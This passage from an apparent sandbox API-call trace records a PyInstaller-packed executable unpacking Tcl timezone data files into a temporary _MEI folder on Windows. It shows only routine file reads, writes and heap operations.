lpLocalTime=0x4f8cf0) returned 1 [0039.205] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.205] CloseHandle (hObject=0x10c) returned 1 [0039.205] GetLastError () returned 0x0 [0039.205] SetLastError (dwErrCode=0x0) [0039.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Mazatlan") returned 73 [0039.205] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Mazatlan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\mazatlan"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.205] GetLastError () returned 0x2 [0039.205] SetLastError (dwErrCode=0x2) [0039.205] GetLastError () returned 0x2 [0039.205] SetLastError (dwErrCode=0x2) [0039.205] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Mazatlan", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Mazatlan", lpFilePart=0x0) returned 0x48 [0039.205] GetLastError () returned 0x2 [0039.205] SetLastError (dwErrCode=0x2) [0039.205] GetLastError () returned 0x2 [0039.206] SetLastError (dwErrCode=0x2) [0039.206] GetLastError () returned 0x2 [0039.206] SetLastError (dwErrCode=0x2) [0039.206] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Mazatlan") returned 73 [0039.206] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.206] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Mazatlan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\mazatlan"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.206] GetFileType (hFile=0x10c) returned 0x1 [0039.206] htonl (hostlong=0xdb190000) returned 0x19db [0039.206] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.207] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.207] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x9db, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x9db, lpOverlapped=0x0) returned 1 [0039.207] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.207] CloseHandle (hObject=0x10c) returned 1 [0039.208] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.208] htonl (hostlong=0x30000000) returned 0x30 [0039.209] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.209] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.209] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.209] GetFileType (hFile=0x10c) returned 0x1 [0039.209] htonl (hostlong=0x6c965900) returned 0x59966c [0039.209] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e466c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.209] htonl (hostlong=0x8e000000) returned 0x8e [0039.209] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8e) returned 0x55cfe0 [0039.209] htonl (hostlong=0x8e000000) returned 0x8e [0039.209] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.210] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.210] htonl (hostlong=0xd6000000) returned 0xd6 [0039.210] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd6) returned 0x550600 [0039.210] htonl (hostlong=0x8e000000) returned 0x8e [0039.210] htonl (hostlong=0xd6000000) returned 0xd6 [0039.210] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.210] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.210] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.210] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.210] CloseHandle (hObject=0x10c) returned 1 [0039.210] GetLastError () returned 0x0 [0039.210] SetLastError (dwErrCode=0x0) [0039.210] GetLastError () returned 0x0 [0039.210] SetLastError (dwErrCode=0x0) [0039.210] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.210] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.210] GetFileType (hFile=0x10c) returned 0x1 [0039.210] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.210] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.210] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.210] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.210] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.211] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.211] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.211] CloseHandle (hObject=0x10c) returned 1 [0039.211] GetLastError () returned 0x0 [0039.211] SetLastError (dwErrCode=0x0) [0039.211] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.211] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.211] GetFileType (hFile=0x10c) returned 0x1 [0039.211] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.211] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.211] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.211] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.211] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.211] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.211] CloseHandle (hObject=0x10c) returned 1 [0039.211] GetLastError () returned 0x0 [0039.211] SetLastError (dwErrCode=0x0) [0039.211] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.211] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.212] GetFileType (hFile=0x10c) returned 0x1 [0039.212] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.212] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.212] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.212] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.212] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.212] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.212] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.212] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.212] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.212] CloseHandle (hObject=0x10c) returned 1 [0039.212] GetLastError () returned 0x0 [0039.212] SetLastError (dwErrCode=0x0) [0039.212] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Mendoza") returned 72 [0039.212] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Mendoza" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\mendoza"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.212] GetLastError () returned 0x2 [0039.212] SetLastError (dwErrCode=0x2) [0039.212] GetLastError () returned 0x2 [0039.212] SetLastError (dwErrCode=0x2) [0039.212] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Mendoza", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Mendoza", lpFilePart=0x0) returned 0x47 [0039.212] GetLastError () returned 0x2 [0039.212] SetLastError (dwErrCode=0x2) [0039.212] GetLastError () returned 0x2 [0039.212] SetLastError (dwErrCode=0x2) [0039.212] GetLastError () returned 0x2 [0039.213] SetLastError (dwErrCode=0x2) [0039.213] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Mendoza") returned 72 [0039.213] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.213] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Mendoza" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\mendoza"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.213] GetFileType (hFile=0x10c) returned 0x1 [0039.213] htonl (hostlong=0xd6000000) returned 0xd6 [0039.213] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.214] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xd6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xd6, lpOverlapped=0x0) returned 1 [0039.214] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.214] CloseHandle (hObject=0x10c) returned 1 [0039.215] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.215] htonl (hostlong=0x30000000) returned 0x30 [0039.215] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.215] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.215] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.215] GetFileType (hFile=0x10c) returned 0x1 [0039.215] htonl (hostlong=0xfa965900) returned 0x5996fa [0039.215] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e46fa, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.216] htonl (hostlong=0x3e060000) returned 0x63e [0039.216] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x63e) returned 0x550600 [0039.216] htonl (hostlong=0x3e060000) returned 0x63e [0039.216] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.216] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.216] htonl (hostlong=0xc81f0000) returned 0x1fc8 [0039.216] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1fc8) returned 0x561090 [0039.216] htonl (hostlong=0x3e060000) returned 0x63e [0039.216] htonl (hostlong=0xc81f0000) returned 0x1fc8 [0039.216] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563060 [0039.216] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563060 | out: hHeap=0x530000) returned 1 [0039.216] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.216] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.216] CloseHandle (hObject=0x10c) returned 1 [0039.216] GetLastError () returned 0x0 [0039.216] SetLastError (dwErrCode=0x0) [0039.216] GetLastError () returned 0x0 [0039.216] SetLastError (dwErrCode=0x0) [0039.216] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.216] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.216] GetFileType (hFile=0x10c) returned 0x1 [0039.216] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.216] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.217] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.217] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.217] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.217] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.217] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.217] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.217] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.217] CloseHandle (hObject=0x10c) returned 1 [0039.217] GetLastError () returned 0x0 [0039.217] SetLastError (dwErrCode=0x0) [0039.217] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.217] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.217] GetFileType (hFile=0x10c) returned 0x1 [0039.217] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.217] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.217] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.217] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.217] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.217] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.217] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.217] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.217] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.217] CloseHandle (hObject=0x10c) returned 1 [0039.218] GetLastError () returned 0x0 [0039.218] SetLastError (dwErrCode=0x0) [0039.218] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.218] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.218] GetFileType (hFile=0x10c) returned 0x1 [0039.218] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.218] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.218] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.218] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.218] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.218] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.218] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.218] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.218] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.218] CloseHandle (hObject=0x10c) returned 1 [0039.218] GetLastError () returned 0x0 [0039.218] SetLastError (dwErrCode=0x0) [0039.218] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Menominee") returned 74 [0039.218] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Menominee" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\menominee"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.218] GetLastError () returned 0x2 [0039.218] SetLastError (dwErrCode=0x2) [0039.218] GetLastError () returned 0x2 [0039.218] SetLastError (dwErrCode=0x2) [0039.218] 